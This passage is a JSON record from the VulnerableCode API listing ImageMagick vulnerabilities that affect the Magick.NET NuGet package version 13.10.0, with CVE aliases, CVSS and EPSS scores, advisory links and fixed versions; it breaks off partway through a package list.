{"url":"http://public2.vulnerablecode.io/api/packages/783677?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@13.10.0","type":"nuget","namespace":"","name":"magick.net-q8-openmp-x64","version":"13.10.0","qualifiers":{},"subpath":"","is_vulnerable":true,"next_non_vulnerable_version":"14.11.1","latest_non_vulnerable_version":"14.11.1","affected_by_vulnerabilities":[{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/22040?format=json","vulnerability_id":"VCID-15ny-qqbj-qyfk","summary":"ImageMagick has infinite loop when writing IPTCTEXT leads to denial of service via crafted profile\nA crafted profile contain invalid IPTC data may cause an infinite loop when writing it with `IPTCTEXT`.","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-26066.json","reference_id":"","reference_type":"","scores":[{"value":"6.2","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-26066.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-26066","reference_id":"","reference_type":"","scores":[{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04844","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04599","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04623","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04635","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04669","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.0468","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04675","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04658","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04641","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04608","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04617","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04757","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04791","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.0483","published_at":"2026-04-26T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-26066"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-26066","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-26066"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"6.2","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3","reference_id":"","reference_type":"","scores":[{"value":"6.2","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"6.2","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/commit/880057ce34f6da9dff2fe3b290bbbc45b743e613","reference_id":"","reference_type":"","scores":[{"value":"6.2","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/commit/880057ce34f6da9dff2fe3b290bbbc45b743e613"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-v994-63cg-9wj3","reference_id":"","reference_type":"","scores":[{"value":"6.2","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-v994-63cg-9wj3"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-26066","reference_id":"","reference_type":"","scores":[{"value":"6.2","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-26066"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442142","reference_id":"2442142","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442142"},{"reference_url":"https://github.com/advisories/GHSA-v994-63cg-9wj3","reference_id":"GHSA-v994-63cg-9wj3","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-v994-63cg-9wj3"},{"reference_url":"https://usn.ubuntu.com/8127-1/","reference_id":"USN-8127-1","reference_type":"","scores":[],"url":"https://usn.ubuntu.com/8127-1/"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67936?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.3"}],"aliases":["CVE-2026-26066","GHSA-v994-63cg-9wj3"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-15ny-qqbj-qyfk"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/22659?format=json","vulnerability_id":"VCID-1cpn-zvem-v7gt","summary":"ImageMagick has uninitialized pointer dereference in JBIG decoder\nAn uninitialized pointer dereference vulnerability exists in the JBIG decoder due to a missing check.","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-28691.json","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-28691.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-28691","reference_id":"","reference_type":"","scores":[{"value":"0.00055","scoring_system":"epss","scoring_elements":"0.17322","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00055","scoring_system":"epss","scoring_elements":"0.17474","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00055","scoring_system":"epss","scoring_elements":"0.17542","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00055","scoring_system":"epss","scoring_elements":"0.17495","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00055","scoring_system":"epss","scoring_elements":"0.17414","published_at":"2026-04-08T12:55:00Z"},{"value":"0.0006","scoring_system":"epss","scoring_elements":"0.1883","published_at":"2026-04-16T12:55:00Z"},{"value":"0.0006","scoring_system":"epss","scoring_elements":"0.18877","published_at":"2026-04-13T12:55:00Z"},{"value":"0.0006","scoring_system":"epss","scoring_elements":"0.18928","published_at":"2026-04-12T12:55:00Z"},{"value":"0.0006","scoring_system":"epss","scoring_elements":"0.18682","published_at":"2026-04-29T12:55:00Z"},{"value":"0.0006","scoring_system":"epss","scoring_elements":"0.18725","published_at":"2026-04-26T12:55:00Z"},{"value":"0.0006","scoring_system":"epss","scoring_elements":"0.18746","published_at":"2026-04-24T12:55:00Z"},{"value":"0.0006","scoring_system":"epss","scoring_elements":"0.18858","published_at":"2026-04-21T12:55:00Z"},{"value":"0.0006","scoring_system":"epss","scoring_elements":"0.18843","published_at":"2026-04-18T12:55:00Z"},{"value":"0.0006","scoring_system":"epss","scoring_elements":"0.18975","published_at":"2026-04-11T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-28691"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-28691","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-28691"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-wj8w-pjxf-9g4f","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-10T15:58:48Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-wj8w-pjxf-9g4f"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28691","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28691"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2445902","reference_id":"2445902","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2445902"},{"reference_url":"https://github.com/advisories/GHSA-wj8w-pjxf-9g4f","reference_id":"GHSA-wj8w-pjxf-9g4f","reference_type":"","scores":[{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-wj8w-pjxf-9g4f"},{"reference_url":"https://access.redhat.com/errata/RHSA-2026:6713","reference_id":"RHSA-2026:6713","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2026:6713"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/1060799?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.4","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.4"}],"aliases":["CVE-2026-28691","GHSA-wj8w-pjxf-9g4f"],"risk_score":4.0,"exploitability":"0.5","weighted_severity":"8.0","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-1cpn-zvem-v7gt"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/22155?format=json","vulnerability_id":"VCID-29r3-kvf4-n3hc","summary":"ImageMagick: Heap Buffer Over-read in WaveletDenoise when processing small images\nA heap buffer over-read vulnerability occurs when processing an image with small dimension using the `-wavelet-denoise` operator.\n\n```\n==3693336==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x511000001280 at pc 0x5602c8b0cc75 bp 0x7ffcb105d510 sp 0x7ffcb105d500\nREAD of size 4 at 0x511000001280 thread T0\n```","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-27798.json","reference_id":"","reference_type":"","scores":[{"value":"7.1","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-27798.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-27798","reference_id":"","reference_type":"","scores":[{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.02733","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.02854","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.02796","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.02808","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.02818","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.02704","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.02694","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.0274","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.02743","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.02713","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.02717","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.02763","published_at":"2026-04-09T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-27798"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27798","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27798"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3","reference_id":"","reference_type":"","scores":[{"value":"4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"value":"4.0","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-02-26T16:54:43Z/"}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"4.0","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/commit/0377e60b3c0d766bd7271221c95d9ee54f6a3738","reference_id":"","reference_type":"","scores":[{"value":"4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"value":"4.0","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-02-26T16:54:43Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/commit/0377e60b3c0d766bd7271221c95d9ee54f6a3738"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-qpgx-jfcq-r59f","reference_id":"","reference_type":"","scores":[{"value":"4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"value":"4.0","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-02-26T16:54:43Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-qpgx-jfcq-r59f"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27798","reference_id":"","reference_type":"","scores":[{"value":"4.0","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27798"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442872","reference_id":"2442872","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442872"},{"reference_url":"https://github.com/advisories/GHSA-qpgx-jfcq-r59f","reference_id":"GHSA-qpgx-jfcq-r59f","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-qpgx-jfcq-r59f"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67936?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.3"}],"aliases":["CVE-2026-27798","GHSA-qpgx-jfcq-r59f"],"risk_score":3.2,"exploitability":"0.5","weighted_severity":"6.4","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-29r3-kvf4-n3hc"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/24115?format=json","vulnerability_id":"VCID-2gw3-qfan-jygd","summary":"ImageMagick's failure to limit the depth of SVG file reads caused a DoS attack\nUsing Magick to read a malicious SVG file resulted in a DoS attack.","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-68618.json","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-68618.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2025-68618","reference_id":"","reference_type":"","scores":[{"value":"0.00101","scoring_system":"epss","scoring_elements":"0.2751","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00101","scoring_system":"epss","scoring_elements":"0.27584","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00101","scoring_system":"epss","scoring_elements":"0.27692","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00101","scoring_system":"epss","scoring_elements":"0.2775","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00101","scoring_system":"epss","scoring_elements":"0.27794","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00101","scoring_system":"epss","scoring_elements":"0.27816","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00101","scoring_system":"epss","scoring_elements":"0.27867","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00101","scoring_system":"epss","scoring_elements":"0.28008","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00101","scoring_system":"epss","scoring_elements":"0.278","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00101","scoring_system":"epss","scoring_elements":"0.27908","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00101","scoring_system":"epss","scoring_elements":"0.27809","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00101","scoring_system":"epss","scoring_elements":"0.27966","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00101","scoring_system":"epss","scoring_elements":"0.27868","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00101","scoring_system":"epss","scoring_elements":"0.2791","published_at":"2026-04-11T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2025-68618"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68618","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68618"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/commit/6f431d445f3ddd609c004a1dde617b0a73e60beb","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2025-12-30T18:09:57Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/commit/6f431d445f3ddd609c004a1dde617b0a73e60beb"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2426285","reference_id":"2426285","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2426285"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2025-68618","reference_id":"CVE-2025-68618","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-68618"},{"reference_url":"https://github.com/advisories/GHSA-p27m-hp98-6637","reference_id":"GHSA-p27m-hp98-6637","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-p27m-hp98-6637"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-p27m-hp98-6637","reference_id":"GHSA-p27m-hp98-6637","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2025-12-30T18:09:57Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-p27m-hp98-6637"},{"reference_url":"https://usn.ubuntu.com/8007-1/","reference_id":"USN-8007-1","reference_type":"","scores":[],"url":"https://usn.ubuntu.com/8007-1/"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67185?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-15ny-qqbj-qyfk"},{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-29r3-kvf4-n3hc"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-569d-6nue-5kbq"},{"vulnerability":"VCID-5uyd-bv33-h7g1"},{"vulnerability":"VCID-5xqd-gf3b-4ygw"},{"vulnerability":"VCID-5zkt-kcgx-a3e2"},{"vulnerability":"VCID-62ar-kwbq-nyh3"},{"vulnerability":"VCID-69f6-ceje-hyah"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-6meg-yjby-a7gj"},{"vulnerability":"VCID-6rma-wjdv-uqe9"},{"vulnerability":"VCID-6ztv-auh8-27gx"},{"vulnerability":"VCID-acsa-1uwk-fqee"},{"vulnerability":"VCID-anyp-2jr7-73a1"},{"vulnerability":"VCID-b5pd-kk97-gban"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cbqr-aybx-d3e6"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-d8yf-8rff-3yhf"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-dtza-65ku-aber"},{"vulnerability":"VCID-emmr-15qp-vfah"},{"vulnerability":"VCID-f1zu-xb4j-8qhp"},{"vulnerability":"VCID-fnck-7mvx-hqc9"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-gdg8-aejn-83c4